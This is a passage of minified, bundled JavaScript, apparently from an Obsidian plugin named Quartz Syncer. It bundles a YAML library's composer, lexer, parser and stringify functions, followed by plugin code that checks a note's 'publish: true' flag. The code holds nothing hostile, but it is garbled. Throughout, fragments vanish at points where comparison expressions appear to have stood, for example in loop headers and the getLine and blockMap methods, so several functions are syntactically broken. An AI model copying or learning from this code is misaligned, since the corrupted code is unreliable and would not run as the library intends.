i=0;i{m();F1();Mh();zh();qe();AR();qc();bo=class{constructor(e={}){this.doc=null,this.atDirectives=!1,this.prelude=[],this.errors=[],this.warnings=[],this.onError=(n,r,i,s)=>{let o=$h(n);s?this.warnings.push(new Na(o,r,i)):this.errors.push(new qn(o,r,i))},this.directives=new zi({version:e.version||"1.2"}),this.options=e}decorate(e,n){let{comment:r,afterEmptyLine:i}=OR(this.prelude);if(r){let s=e.contents;if(n)e.comment=e.comment?`${e.comment} -${r}`:r;else if(i||e.directives.docStart||!s)e.commentBefore=r;else if(We(s)&&!s.flow&&s.items.length>0){let o=s.items[0];Me(o)&&(o=o.key);let a=o.commentBefore;o.commentBefore=a?`${r} -${a}`:r}else{let o=s.commentBefore;s.commentBefore=o?`${r} -${o}`:r}}n?(Array.prototype.push.apply(e.errors,this.errors),Array.prototype.push.apply(e.warnings,this.warnings)):(e.errors=this.errors,e.warnings=this.warnings),this.prelude=[],this.errors=[],this.warnings=[]}streamInfo(){return{comment:OR(this.prelude).comment,directives:this.directives,errors:this.errors,warnings:this.warnings}}*compose(e,n=!1,r=-1){for(let i of e)yield*this.next(i);yield*this.end(n,r)}*next(e){switch(e.type){case"directive":this.directives.add(e.source,(n,r,i)=>{let s=$h(e);s[0]+=n,this.onError(s,"BAD_DIRECTIVE",r,i)}),this.prelude.push(e.source),this.atDirectives=!0;break;case"document":{let n=IR(this.options,this.directives,e,this.onError);this.atDirectives&&!n.directives.docStart&&this.onError(e,"MISSING_CHAR","Missing directives-end/doc-start indicator line"),this.decorate(n,!1),this.doc&&(yield this.doc),this.doc=n,this.atDirectives=!1;break}case"byte-order-mark":case"space":break;case"comment":case"newline":this.prelude.push(e.source);break;case"error":{let n=e.source?`${e.message}: ${JSON.stringify(e.source)}`:e.message,r=new qn($h(e),"UNEXPECTED_TOKEN",n);this.atDirectives||!this.doc?this.errors.push(r):this.doc.errors.push(r);break}case"doc-end":{if(!this.doc){let r="Unexpected doc-end without preceding document";this.errors.push(new qn($h(e),"UNEXPECTED_TOKEN",r));break}this.doc.directives.docEnd=!0;let n=$i(e.end,e.offset+e.source.length,this.doc.options.strict,this.onError);if(this.decorate(this.doc,!0),n.comment){let r=this.doc.comment;this.doc.comment=r?`${r} -${n.comment}`:n.comment}this.doc.range[2]=n.offset;break}default:this.errors.push(new qn($h(e),"UNEXPECTED_TOKEN",`Unsupported token ${e.type}`))}}*end(e=!1,n=-1){if(this.doc)this.decorate(this.doc,!0),yield this.doc,this.doc=null;else if(e){let r=Object.assign({_directives:this.directives},this.options),i=new gr(void 0,r);this.atDirectives&&this.onError(n,"MISSING_CHAR","Missing directives-end indicator line"),i.range=[0,n,n],this.decorate(i,!1),yield i}}}});function PR(t,e=!0,n){if(t){let r=(i,s,o)=>{let a=typeof i=="number"?i:Array.isArray(i)?i[0]:i.offset;if(n)n(a,s,o);else throw new qn([a,a+1],s,o)};switch(t.type){case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return Pg(t,e,r);case"block-scalar":return Og({options:{strict:e}},t,r)}}return null}function NR(t,e){let{implicitKey:n=!1,indent:r,inFlow:i=!1,offset:s=-1,type:o="PLAIN"}=e,a=ps({type:o,value:t},{implicitKey:n,indent:r>0?" ".repeat(r):"",inFlow:i,options:{blockQuote:!0,lineWidth:-1}}),l=e.end??[{type:"newline",offset:-1,indent:r,source:` -`}];switch(a[0]){case"|":case">":{let c=a.indexOf(` -`),u=a.substring(0,c),f=a.substring(c+1)+` -`,h=[{type:"block-scalar-header",offset:s,indent:r,source:u}];return RR(h,l)||h.push({type:"newline",offset:-1,indent:r,source:` -`}),{type:"block-scalar",offset:s,indent:r,props:h,source:f}}case'"':return{type:"double-quoted-scalar",offset:s,indent:r,source:a,end:l};case"'":return{type:"single-quoted-scalar",offset:s,indent:r,source:a,end:l};default:return{type:"scalar",offset:s,indent:r,source:a,end:l}}}function MR(t,e,n={}){let{afterKey:r=!1,implicitKey:i=!1,inFlow:s=!1,type:o}=n,a="indent"in t?t.indent:null;if(r&&typeof a=="number"&&(a+=2),!o)switch(t.type){case"single-quoted-scalar":o="QUOTE_SINGLE";break;case"double-quoted-scalar":o="QUOTE_DOUBLE";break;case"block-scalar":{let c=t.props[0];if(c.type!=="block-scalar-header")throw new Error("Invalid block scalar header");o=c.source[0]===">"?"BLOCK_FOLDED":"BLOCK_LITERAL";break}default:o="PLAIN"}let l=ps({type:o,value:e},{implicitKey:i||a===null,indent:a!==null&&a>0?" ".repeat(a):"",inFlow:s,options:{blockQuote:!0,lineWidth:-1}});switch(l[0]){case"|":case">":KQ(t,l);break;case'"':dk(t,l,"double-quoted-scalar");break;case"'":dk(t,l,"single-quoted-scalar");break;default:dk(t,l,"scalar")}}function KQ(t,e){let n=e.indexOf(` -`),r=e.substring(0,n),i=e.substring(n+1)+` -`;if(t.type==="block-scalar"){let s=t.props[0];if(s.type!=="block-scalar-header")throw new Error("Invalid block scalar header");s.source=r,t.source=i}else{let{offset:s}=t,o="indent"in t?t.indent:-1,a=[{type:"block-scalar-header",offset:s,indent:o,source:r}];RR(a,"end"in t?t.end:void 0)||a.push({type:"newline",offset:-1,indent:o,source:` -`});for(let l of Object.keys(t))l!=="type"&&l!=="offset"&&delete t[l];Object.assign(t,{type:"block-scalar",indent:o,props:a,source:i})}}function RR(t,e){if(e)for(let n of e)switch(n.type){case"space":case"comment":t.push(n);break;case"newline":return t.push(n),!0}return!1}function dk(t,e,n){switch(t.type){case"scalar":case"double-quoted-scalar":case"single-quoted-scalar":t.type=n,t.source=e;break;case"block-scalar":{let r=t.props.slice(1),i=e.length;t.props[0].type==="block-scalar-header"&&(i-=t.props[0].source.length);for(let s of r)s.offset+=i;delete t.props,Object.assign(t,{type:n,source:e,end:r});break}case"block-map":case"block-seq":{let i={type:"newline",offset:t.offset+e.length,indent:t.indent,source:` -`};delete t.items,Object.assign(t,{type:n,source:e,end:[i]});break}default:{let r="indent"in t?t.indent:-1,i="end"in t&&Array.isArray(t.end)?t.end.filter(s=>s.type==="space"||s.type==="comment"||s.type==="newline"):[];for(let s of Object.keys(t))s!=="type"&&s!=="offset"&&delete t[s];Object.assign(t,{type:n,indent:r,source:e,end:i})}}}var zR=se(()=>{m();lk();ck();zh();_h()});function Rg(t){switch(t.type){case"block-scalar":{let e="";for(let n of t.props)e+=Rg(n);return e+t.source}case"block-map":case"block-seq":{let e="";for(let n of t.items)e+=Mg(n);return e}case"flow-collection":{let e=t.start.source;for(let n of t.items)e+=Mg(n);for(let n of t.end)e+=n.source;return e}case"document":{let e=Mg(t);if(t.end)for(let n of t.end)e+=n.source;return e}default:{let e=t.source;if("end"in t&&t.end)for(let n of t.end)e+=n.source;return e}}}function Mg({start:t,key:e,sep:n,value:r}){let i="";for(let s of t)i+=s.source;if(e&&(i+=Rg(e)),n)for(let s of n)i+=s.source;return r&&(i+=Rg(r)),i}var LR,BR=se(()=>{m();LR=t=>"type"in t?Rg(t):Mg(t)});function vo(t,e){"type"in t&&t.type==="document"&&(t={start:t.start,value:t.value}),UR(Object.freeze([]),t,e)}function UR(t,e,n){let r=n(e,t);if(typeof r=="symbol")return r;for(let i of["key","value"]){let s=e[i];if(s&&"items"in s){for(let o=0;o{m();mk=Symbol("break visit"),ZQ=Symbol("skip children"),$R=Symbol("remove item");vo.BREAK=mk;vo.SKIP=ZQ;vo.REMOVE=$R;vo.itemAtPath=(t,e)=>{let n=t;for(let[r,i]of e){let s=n?.[r];if(s&&"items"in s)n=s.items[i];else return}return n};vo.parentCollection=(t,e)=>{let n=vo.itemAtPath(t,e.slice(0,-1)),r=e[e.length-1][0],i=n?.[r];if(i&&"items"in i)return i;throw new Error("Parent collection not found")}});var zg={};fu(zg,{BOM:()=>Uh,DOCUMENT:()=>jh,FLOW_END:()=>qh,SCALAR:()=>Vc,createScalarToken:()=>NR,isCollection:()=>YQ,isScalar:()=>JQ,prettyToken:()=>XQ,resolveAsScalar:()=>PR,setScalarValue:()=>MR,stringify:()=>LR,tokenType:()=>pk,visit:()=>vo});function XQ(t){switch(t){case Uh:return"";case jh:return"";case qh:return"";case Vc:return"";default:return JSON.stringify(t)}}function pk(t){switch(t){case Uh:return"byte-order-mark";case jh:return"doc-mode";case qh:return"flow-error-end";case Vc:return"scalar";case"---":return"doc-start";case"...":return"doc-end";case"":case` -`:case`\r -`:return"newline";case"-":return"seq-item-ind";case"?":return"explicit-key-ind";case":":return"map-value-ind";case"{":return"flow-map-start";case"}":return"flow-map-end";case"[":return"flow-seq-start";case"]":return"flow-seq-end";case",":return"comma"}switch(t[0]){case" ":case" ":return"space";case"#":return"comment";case"%":return"directive-line";case"*":return"alias";case"&":return"anchor";case"!":return"tag";case"'":return"single-quoted-scalar";case'"':return"double-quoted-scalar";case"|":case">":return"block-scalar-header"}return null}var Uh,jh,qh,Vc,YQ,JQ,Lg=se(()=>{m();zR();BR();jR();Uh="\uFEFF",jh="",qh="",Vc="",YQ=t=>!!t&&"items"in t,JQ=t=>!!t&&(t.type==="scalar"||t.type==="single-quoted-scalar"||t.type==="double-quoted-scalar"||t.type==="block-scalar")});function di(t){switch(t){case void 0:case" ":case` -`:case"\r":case" ":return!0;default:return!1}}var qR,eK,Bg,tK,gk,Ma,yk=se(()=>{m();Lg();qR=new Set("0123456789ABCDEFabcdef"),eK=new Set("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-#;/?:@&=+$_.!~*'()"),Bg=new Set(",[]{}"),tK=new Set(` ,[]{} -\r `),gk=t=>!t||tK.has(t),Ma=class{constructor(){this.atEnd=!1,this.blockScalarIndent=-1,this.blockScalarKeep=!1,this.buffer="",this.flowKey=!1,this.flowLevel=0,this.indentNext=0,this.indentValue=0,this.lineEndPos=null,this.next=null,this.pos=0}*lex(e,n=!1){if(e){if(typeof e!="string")throw TypeError("source is not a string");this.buffer=this.buffer?this.buffer+e:e,this.lineEndPos=null}this.atEnd=!n;let r=this.next??"stream";for(;r&&(n||this.hasChars(1));)r=yield*this.parseNext(r)}atLineEnd(){let e=this.pos,n=this.buffer[e];for(;n===" "||n===" ";)n=this.buffer[++e];return!n||n==="#"||n===` -`?!0:n==="\r"?this.buffer[e+1]===` -`:!1}charAt(e){return this.buffer[this.pos+e]}continueScalar(e){let n=this.buffer[e];if(this.indentNext>0){let r=0;for(;n===" ";)n=this.buffer[++r+e];if(n==="\r"){let i=this.buffer[r+e+1];if(i===` -`||!i&&!this.atEnd)return e+r+1}return n===` -`||r>=this.indentNext||!n&&!this.atEnd?e+r:-1}if(n==="-"||n==="."){let r=this.buffer.substr(e,3);if((r==="---"||r==="...")&&di(this.buffer[e+3]))return-1}return e}getLine(){let e=this.lineEndPos;return(typeof e!="number"||e!==-1&&ethis.indentValue&&!di(this.charAt(1))&&(this.indentNext=this.indentValue),yield*this.parseBlockStart()}*parseBlockStart(){let[e,n]=this.peek(2);if(!n&&!this.atEnd)return this.setNext("block-start");if((e==="-"||e==="?"||e===":")&&di(n)){let r=(yield*this.pushCount(1))+(yield*this.pushSpaces(!0));return this.indentNext=this.indentValue+1,this.indentValue+=r,yield*this.parseBlockStart()}return"doc"}*parseDocument(){yield*this.pushSpaces(!0);let e=this.getLine();if(e===null)return this.setNext("doc");let n=yield*this.pushIndicators();switch(e[n]){case"#":yield*this.pushCount(e.length-n);case void 0:return yield*this.pushNewline(),yield*this.parseLineStart();case"{":case"[":return yield*this.pushCount(1),this.flowKey=!1,this.flowLevel=1,"flow";case"}":case"]":return yield*this.pushCount(1),"doc";case"*":return yield*this.pushUntil(gk),"doc";case'"':case"'":return yield*this.parseQuotedScalar();case"|":case">":return n+=yield*this.parseBlockScalarHeader(),n+=yield*this.pushSpaces(!0),yield*this.pushCount(e.length-n),yield*this.pushNewline(),yield*this.parseBlockScalar();default:return yield*this.parsePlainScalar()}}*parseFlowCollection(){let e,n,r=-1;do e=yield*this.pushNewline(),e>0?(n=yield*this.pushSpaces(!1),this.indentValue=r=n):n=0,n+=yield*this.pushSpaces(!0);while(e+n>0);let i=this.getLine();if(i===null)return this.setNext("flow");if((r!==-1&&r"0"&&n<="9")this.blockScalarIndent=Number(n)-1;else if(n!=="-")break}return yield*this.pushUntil(n=>di(n)||n==="#")}*parseBlockScalar(){let e=this.pos-1,n=0,r;e:for(let s=this.pos;r=this.buffer[s];++s)switch(r){case" ":n+=1;break;case` -`:e=s,n=0;break;case"\r":{let o=this.buffer[s+1];if(!o&&!this.atEnd)return this.setNext("block-scalar");if(o===` -`)break}default:break e}if(!r&&!this.atEnd)return this.setNext("block-scalar");if(n>=this.indentNext){this.blockScalarIndent===-1?this.indentNext=n:this.indentNext=this.blockScalarIndent+(this.indentNext===0?1:this.indentNext);do{let s=this.continueScalar(e+1);if(s===-1)break;e=this.buffer.indexOf(` -`,s)}while(e!==-1);if(e===-1){if(!this.atEnd)return this.setNext("block-scalar");e=this.buffer.length}}let i=e+1;for(r=this.buffer[i];r===" ";)r=this.buffer[++i];if(r===" "){for(;r===" "||r===" "||r==="\r"||r===` -`;)r=this.buffer[++i];e=i-1}else if(!this.blockScalarKeep)do{let s=e-1,o=this.buffer[s];o==="\r"&&(o=this.buffer[--s]);let a=s;for(;o===" ";)o=this.buffer[--s];if(o===` -`&&s>=this.pos&&s+1+n>a)e=s;else break}while(!0);return yield Vc,yield*this.pushToIndex(e+1,!0),yield*this.parseLineStart()}*parsePlainScalar(){let e=this.flowLevel>0,n=this.pos-1,r=this.pos-1,i;for(;i=this.buffer[++r];)if(i===":"){let s=this.buffer[r+1];if(di(s)||e&&Bg.has(s))break;n=r}else if(di(i)){let s=this.buffer[r+1];if(i==="\r"&&(s===` -`?(r+=1,i=` -`,s=this.buffer[r+1]):n=r),s==="#"||e&&Bg.has(s))break;if(i===` -`){let o=this.continueScalar(r+1);if(o===-1)break;r=Math.max(r,o-2)}}else{if(e&&Bg.has(i))break;n=r}return!i&&!this.atEnd?this.setNext("plain-scalar"):(yield Vc,yield*this.pushToIndex(n+1,!0),e?"flow":"doc")}*pushCount(e){return e>0?(yield this.buffer.substr(this.pos,e),this.pos+=e,e):0}*pushToIndex(e,n){let r=this.buffer.slice(this.pos,e);return r?(yield r,this.pos+=r.length,r.length):(n&&(yield""),0)}*pushIndicators(){switch(this.charAt(0)){case"!":return(yield*this.pushTag())+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators());case"&":return(yield*this.pushUntil(gk))+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators());case"-":case"?":case":":{let e=this.flowLevel>0,n=this.charAt(1);if(di(n)||e&&Bg.has(n))return e?this.flowKey&&(this.flowKey=!1):this.indentNext=this.indentValue+1,(yield*this.pushCount(1))+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators())}}return 0}*pushTag(){if(this.charAt(1)==="<"){let e=this.pos+2,n=this.buffer[e];for(;!di(n)&&n!==">";)n=this.buffer[++e];return yield*this.pushToIndex(n===">"?e+1:e,!1)}else{let e=this.pos+1,n=this.buffer[e];for(;n;)if(eK.has(n))n=this.buffer[++e];else if(n==="%"&&qR.has(this.buffer[e+1])&&qR.has(this.buffer[e+2]))n=this.buffer[e+=3];else break;return yield*this.pushToIndex(e,!1)}}*pushNewline(){let e=this.buffer[this.pos];return e===` -`?yield*this.pushCount(1):e==="\r"&&this.charAt(1)===` -`?yield*this.pushCount(2):0}*pushSpaces(e){let n=this.pos-1,r;do r=this.buffer[++n];while(r===" "||e&&r===" ");let i=n-this.pos;return i>0&&(yield this.buffer.substr(this.pos,i),this.pos=n),i}*pushUntil(e){let n=this.pos,r=this.buffer[n];for(;!e(r);)r=this.buffer[++n];return yield*this.pushToIndex(n,!1)}}});var Ra,wk=se(()=>{m();Ra=class{constructor(){this.lineStarts=[],this.addNewLine=e=>this.lineStarts.push(e),this.linePos=e=>{let n=0,r=this.lineStarts.length;for(;n>1;this.lineStarts[s]=0;)switch(t[e].type){case"doc-start":case"explicit-key-ind":case"map-value-ind":case"seq-item-ind":case"newline":break e}for(;t[++e]?.type==="space";);return t.splice(e,t.length)}function HR(t){if(t.start.type==="flow-seq-start")for(let e of t.items)e.sep&&!e.value&&!ko(e.start,"explicit-key-ind")&&!ko(e.sep,"map-value-ind")&&(e.key&&(e.value=e.key),delete e.key,WR(e.value)?e.value.end?Array.prototype.push.apply(e.value.end,e.sep):e.value.end=e.sep:Array.prototype.push.apply(e.start,e.sep),delete e.sep)}var xo,bk=se(()=>{m();Lg();yk();xo=class{constructor(e){this.atNewLine=!0,this.atScalar=!1,this.indent=0,this.offset=0,this.onKeyLine=!1,this.stack=[],this.source="",this.type="",this.lexer=new Ma,this.onNewLine=e}*parse(e,n=!1){this.onNewLine&&this.offset===0&&this.onNewLine(0);for(let r of this.lexer.lex(e,n))yield*this.next(r);n||(yield*this.end())}*next(e){if(this.source=e,this.atScalar){this.atScalar=!1,yield*this.step(),this.offset+=e.length;return}let n=pk(e);if(n)if(n==="scalar")this.atNewLine=!1,this.atScalar=!0,this.type="scalar";else{switch(this.type=n,yield*this.step(),n){case"newline":this.atNewLine=!0,this.indent=0,this.onNewLine&&this.onNewLine(this.offset+e.length);break;case"space":this.atNewLine&&e[0]===" "&&(this.indent+=e.length);break;case"explicit-key-ind":case"map-value-ind":case"seq-item-ind":this.atNewLine&&(this.indent+=e.length);break;case"doc-mode":case"flow-error-end":return;default:this.atNewLine=!1}this.offset+=e.length}else{let r=`Not a YAML token: ${e}`;yield*this.pop({type:"error",offset:this.offset,message:r,source:e}),this.offset+=e.length}}*end(){for(;this.stack.length>0;)yield*this.pop()}get sourceToken(){return{type:this.type,offset:this.offset,indent:this.indent,source:this.source}}*step(){let e=this.peek(1);if(this.type==="doc-end"&&e?.type!=="doc-end"){for(;this.stack.length>0;)yield*this.pop();this.stack.push({type:"doc-end",offset:this.offset,source:this.source});return}if(!e)return yield*this.stream();switch(e.type){case"document":return yield*this.document(e);case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return yield*this.scalar(e);case"block-scalar":return yield*this.blockScalar(e);case"block-map":return yield*this.blockMap(e);case"block-seq":return yield*this.blockSequence(e);case"flow-collection":return yield*this.flowCollection(e);case"doc-end":return yield*this.documentEnd(e)}yield*this.pop()}peek(e){return this.stack[this.stack.length-e]}*pop(e){let n=e??this.stack.pop();if(!n)yield{type:"error",offset:this.offset,source:"",message:"Tried to pop an empty stack"};else if(this.stack.length===0)yield n;else{let r=this.peek(1);switch(n.type==="block-scalar"?n.indent="indent"in r?r.indent:0:n.type==="flow-collection"&&r.type==="document"&&(n.indent=0),n.type==="flow-collection"&&HR(n),r.type){case"document":r.value=n;break;case"block-scalar":r.props.push(n);break;case"block-map":{let i=r.items[r.items.length-1];if(i.value){r.items.push({start:[],key:n,sep:[]}),this.onKeyLine=!0;return}else if(i.sep)i.value=n;else{Object.assign(i,{key:n,sep:[]}),this.onKeyLine=!i.explicitKey;return}break}case"block-seq":{let i=r.items[r.items.length-1];i.value?r.items.push({start:[],value:n}):i.value=n;break}case"flow-collection":{let i=r.items[r.items.length-1];!i||i.value?r.items.push({start:[],key:n,sep:[]}):i.sep?i.value=n:Object.assign(i,{key:n,sep:[]});return}default:yield*this.pop(),yield*this.pop(n)}if((r.type==="document"||r.type==="block-map"||r.type==="block-seq")&&(n.type==="block-map"||n.type==="block-seq")){let i=n.items[n.items.length-1];i&&!i.sep&&!i.value&&i.start.length>0&&VR(i.start)===-1&&(n.indent===0||i.start.every(s=>s.type!=="comment"||s.indent=e.indent){let r=!this.onKeyLine&&this.indent===e.indent,i=r&&(n.sep||n.explicitKey)&&this.type!=="seq-item-ind",s=[];if(i&&n.sep&&!n.value){let o=[];for(let a=0;ae.indent&&(o.length=0);break;default:o.length=0}}o.length>=2&&(s=n.sep.splice(o[1]))}switch(this.type){case"anchor":case"tag":i||n.value?(s.push(this.sourceToken),e.items.push({start:s}),this.onKeyLine=!0):n.sep?n.sep.push(this.sourceToken):n.start.push(this.sourceToken);return;case"explicit-key-ind":!n.sep&&!n.explicitKey?(n.start.push(this.sourceToken),n.explicitKey=!0):i||n.value?(s.push(this.sourceToken),e.items.push({start:s,explicitKey:!0})):this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:[this.sourceToken],explicitKey:!0}]}),this.onKeyLine=!0;return;case"map-value-ind":if(n.explicitKey)if(n.sep)if(n.value)e.items.push({start:[],key:null,sep:[this.sourceToken]});else if(ko(n.sep,"map-value-ind"))this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:s,key:null,sep:[this.sourceToken]}]});else if(WR(n.key)&&!ko(n.sep,"newline")){let o=Hc(n.start),a=n.key,l=n.sep;l.push(this.sourceToken),delete n.key,delete n.sep,this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:o,key:a,sep:l}]})}else s.length>0?n.sep=n.sep.concat(s,this.sourceToken):n.sep.push(this.sourceToken);else if(ko(n.start,"newline"))Object.assign(n,{key:null,sep:[this.sourceToken]});else{let o=Hc(n.start);this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:o,key:null,sep:[this.sourceToken]}]})}else n.sep?n.value||i?e.items.push({start:s,key:null,sep:[this.sourceToken]}):ko(n.sep,"map-value-ind")?this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:[],key:null,sep:[this.sourceToken]}]}):n.sep.push(this.sourceToken):Object.assign(n,{key:null,sep:[this.sourceToken]});this.onKeyLine=!0;return;case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":{let o=this.flowScalar(this.type);i||n.value?(e.items.push({start:s,key:o,sep:[]}),this.onKeyLine=!0):n.sep?this.stack.push(o):(Object.assign(n,{key:o,sep:[]}),this.onKeyLine=!0);return}default:{let o=this.startBlockValue(e);if(o){if(o.type==="block-seq"){if(!n.explicitKey&&n.sep&&!ko(n.sep,"newline")){yield*this.pop({type:"error",offset:this.offset,message:"Unexpected block-seq-ind on same line with key",source:this.source});return}}else r&&e.items.push({start:s});this.stack.push(o);return}}}}yield*this.pop(),yield*this.step()}*blockSequence(e){let n=e.items[e.items.length-1];switch(this.type){case"newline":if(n.value){let r="end"in n.value?n.value.end:void 0;(Array.isArray(r)?r[r.length-1]:void 0)?.type==="comment"?r?.push(this.sourceToken):e.items.push({start:[this.sourceToken]})}else n.start.push(this.sourceToken);return;case"space":case"comment":if(n.value)e.items.push({start:[this.sourceToken]});else{if(this.atIndentedComment(n.start,e.indent)){let i=e.items[e.items.length-2]?.value?.end;if(Array.isArray(i)){Array.prototype.push.apply(i,n.start),i.push(this.sourceToken),e.items.pop();return}}n.start.push(this.sourceToken)}return;case"anchor":case"tag":if(n.value||this.indent<=e.indent)break;n.start.push(this.sourceToken);return;case"seq-item-ind":if(this.indent!==e.indent)break;n.value||ko(n.start,"seq-item-ind")?e.items.push({start:[this.sourceToken]}):n.start.push(this.sourceToken);return}if(this.indent>e.indent){let r=this.startBlockValue(e);if(r){this.stack.push(r);return}}yield*this.pop(),yield*this.step()}*flowCollection(e){let n=e.items[e.items.length-1];if(this.type==="flow-error-end"){let r;do yield*this.pop(),r=this.peek(1);while(r?.type==="flow-collection")}else if(e.end.length===0){switch(this.type){case"comma":case"explicit-key-ind":!n||n.sep?e.items.push({start:[this.sourceToken]}):n.start.push(this.sourceToken);return;case"map-value-ind":!n||n.value?e.items.push({start:[],key:null,sep:[this.sourceToken]}):n.sep?n.sep.push(this.sourceToken):Object.assign(n,{key:null,sep:[this.sourceToken]});return;case"space":case"comment":case"newline":case"anchor":case"tag":!n||n.value?e.items.push({start:[this.sourceToken]}):n.sep?n.sep.push(this.sourceToken):n.start.push(this.sourceToken);return;case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":{let i=this.flowScalar(this.type);!n||n.value?e.items.push({start:[],key:i,sep:[]}):n.sep?this.stack.push(i):Object.assign(n,{key:i,sep:[]});return}case"flow-map-end":case"flow-seq-end":e.end.push(this.sourceToken);return}let r=this.startBlockValue(e);r?this.stack.push(r):(yield*this.pop(),yield*this.step())}else{let r=this.peek(2);if(r.type==="block-map"&&(this.type==="map-value-ind"&&r.indent===e.indent||this.type==="newline"&&!r.items[r.items.length-1].sep))yield*this.pop(),yield*this.step();else if(this.type==="map-value-ind"&&r.type!=="flow-collection"){let i=$g(r),s=Hc(i);HR(e);let o=e.end.splice(1,e.end.length);o.push(this.sourceToken);let a={type:"block-map",offset:e.offset,indent:e.indent,items:[{start:s,key:e,sep:o}]};this.onKeyLine=!0,this.stack[this.stack.length-1]=a}else yield*this.lineEnd(e)}}flowScalar(e){if(this.onNewLine){let n=this.source.indexOf(` -`)+1;for(;n!==0;)this.onNewLine(this.offset+n),n=this.source.indexOf(` -`,n)+1}return{type:e,offset:this.offset,indent:this.indent,source:this.source}}startBlockValue(e){switch(this.type){case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return this.flowScalar(this.type);case"block-scalar-header":return{type:"block-scalar",offset:this.offset,indent:this.indent,props:[this.sourceToken],source:""};case"flow-map-start":case"flow-seq-start":return{type:"flow-collection",offset:this.offset,indent:this.indent,start:this.sourceToken,items:[],end:[]};case"seq-item-ind":return{type:"block-seq",offset:this.offset,indent:this.indent,items:[{start:[this.sourceToken]}]};case"explicit-key-ind":{this.onKeyLine=!0;let n=$g(e),r=Hc(n);return r.push(this.sourceToken),{type:"block-map",offset:this.offset,indent:this.indent,items:[{start:r,explicitKey:!0}]}}case"map-value-ind":{this.onKeyLine=!0;let n=$g(e),r=Hc(n);return{type:"block-map",offset:this.offset,indent:this.indent,items:[{start:r,key:null,sep:[this.sourceToken]}]}}}return null}atIndentedComment(e,n){return this.type!=="comment"||this.indent<=n?!1:e.every(r=>r.type==="newline"||r.type==="space")}*documentEnd(e){this.type!=="doc-mode"&&(e.end?e.end.push(this.sourceToken):e.end=[this.sourceToken],this.type==="newline"&&(yield*this.pop()))}*lineEnd(e){switch(this.type){case"comma":case"doc-start":case"doc-end":case"flow-seq-end":case"flow-map-end":case"map-value-ind":yield*this.pop(),yield*this.step();break;case"newline":this.onKeyLine=!1;case"space":case"comment":default:e.end?e.end.push(this.sourceToken):e.end=[this.sourceToken],this.type==="newline"&&(yield*this.pop())}}}});function GR(t){let e=t.prettyErrors!==!1;return{lineCounter:t.lineCounter||e&&new Ra||null,prettyErrors:e}}function vk(t,e={}){let{lineCounter:n,prettyErrors:r}=GR(e),i=new xo(n?.addNewLine),s=new bo(e),o=Array.from(s.compose(i.parse(t)));if(r&&n)for(let a of o)a.errors.forEach(Rh(t,n)),a.warnings.forEach(Rh(t,n));return o.length>0?o:Object.assign([],{empty:!0},s.streamInfo())}function Wc(t,e={}){let{lineCounter:n,prettyErrors:r}=GR(e),i=new xo(n?.addNewLine),s=new bo(e),o=null;for(let a of s.compose(i.parse(t),!0,t.length))if(!o)o=a;else if(o.options.logLevel!=="silent"){o.errors.push(new qn(a.range.slice(0,2),"MULTIPLE_DOCS","Source contains multiple documents; please use YAML.parseAllDocuments()"));break}return r&&n&&(o.errors.forEach(Rh(t,n)),o.warnings.forEach(Rh(t,n))),o}function kk(t,e,n){let r;typeof e=="function"?r=e:n===void 0&&e&&typeof e=="object"&&(n=e);let i=Wc(t,n);if(!i)return null;if(i.warnings.forEach(s=>cg(i.options.logLevel,s)),i.errors.length>0){if(i.options.logLevel!=="silent")throw i.errors[0];i.errors=[]}return i.toJS(Object.assign({reviver:r},n))}function xk(t,e,n){let r=null;if(typeof e=="function"||Array.isArray(e)?r=e:n===void 0&&e&&(n=e),typeof n=="string"&&(n=n.length),typeof n=="number"){let i=Math.round(n);n=i<1?void 0:i>8?{indent:8}:{indent:i}}if(t===void 0){let{keepUndefined:i}=n??e??{};if(!i)return}return dr(t)&&!r?t.toString(n):new gr(t,r,n).toString(n)}var QR=se(()=>{m();hk();Mh();zh();R1();qe();wk();bk()});var Sk={};fu(Sk,{Alias:()=>ci,CST:()=>zg,Composer:()=>bo,Document:()=>gr,Lexer:()=>Ma,LineCounter:()=>Ra,Pair:()=>ft,Parser:()=>xo,Scalar:()=>ue,Schema:()=>Oa,YAMLError:()=>Pa,YAMLMap:()=>wt,YAMLParseError:()=>qn,YAMLSeq:()=>Zt,YAMLWarning:()=>Na,isAlias:()=>Un,isCollection:()=>We,isDocument:()=>dr,isMap:()=>mr,isNode:()=>Le,isPair:()=>Me,isScalar:()=>Ie,isSeq:()=>pr,parse:()=>kk,parseAllDocuments:()=>vk,parseDocument:()=>Wc,stringify:()=>xk,visit:()=>zr,visitAsync:()=>Ac});var Dk=se(()=>{m();hk();Mh();nk();zh();bh();qe();ho();Pt();po();go();Lg();yk();wk();bk();QR();wh()});var KR={};fu(KR,{Alias:()=>ci,CST:()=>zg,Composer:()=>bo,Document:()=>gr,Lexer:()=>Ma,LineCounter:()=>Ra,Pair:()=>ft,Parser:()=>xo,Scalar:()=>ue,Schema:()=>Oa,YAMLError:()=>Pa,YAMLMap:()=>wt,YAMLParseError:()=>qn,YAMLSeq:()=>Zt,YAMLWarning:()=>Na,default:()=>nK,isAlias:()=>Un,isCollection:()=>We,isDocument:()=>dr,isMap:()=>mr,isNode:()=>Le,isPair:()=>Me,isScalar:()=>Ie,isSeq:()=>pr,parse:()=>kk,parseAllDocuments:()=>vk,parseDocument:()=>Wc,stringify:()=>xk,visit:()=>zr,visitAsync:()=>Ac});var nK,Ek=se(()=>{m();Dk();Dk();nK=Sk});var TY={};fu(TY,{default:()=>by});module.exports=JL(TY);m();var bs=require("obsidian");m();m();var Cx=require("obsidian"),tl=(t,e,n=!1)=>!!e?.[t]||n;function Tx(t,e,n=!1){return tl(t,e,n)?!0:(new Cx.Notice("Quartz Syncer: Note does not have the publish: true set. Please add this and try again."),!1)}m();var 